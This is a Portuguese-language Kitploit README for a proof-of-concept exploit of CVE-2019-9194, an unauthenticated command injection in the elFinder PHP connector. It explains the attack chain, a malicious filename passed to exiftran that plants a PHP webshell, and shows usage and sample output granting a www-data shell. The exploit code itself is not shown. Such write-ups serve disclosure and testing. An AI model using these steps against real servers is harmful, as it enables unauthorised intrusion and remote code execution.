CVE-2019-9194-elFinder-Command-Injection-PoC — Vulnerabilidade de injeção de comandos no elFinder <= 2.1.47 por meio do componente conector PHP. Permite execução remota de código não autenticada como o usuário do servidor web. | Kitploit

Compartilhar

CVE-2019-9194 — Injeção de Comandos no elFinder (PoC)

Vulnerabilidade de injeção de comandos no elFinder <= 2.1.47 através do componente conector PHP. Permite execução remota de código sem autenticação como o usuário do servidor web.

Como funciona

Envia um JPEG válido com um nome de arquivo malicioso contendo um comando shell.
Dispara a vulnerabilidade ao solicitar uma rotação de imagem, que passa o nome do arquivo para o exiftran sem sanitização.
O comando injetado grava um webshell PHP (SecSignal.php) no servidor.
Conecta-se ao webshell e abre um shell interativo.

Requisitos

Python 3
biblioteca requests (pip install requests)
O alvo deve ter exiftran instalado e o conector PHP do elFinder habilitado (connector.minimal.php)

Uso

python3 exploit.py http://TARGET

Exemplo:

$ python3 exploit.py http://10.10.10.10/elFinder
[*] Uploading malicious image...
[*] File uploaded, hash: l1_U2VjU2lnbmFsLmpwZw
[*] Triggering command injection via image rotation...
[*] Checking for webshell...
[+] Pwned!
[+] Interactive shell (Ctrl+C to exit)

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)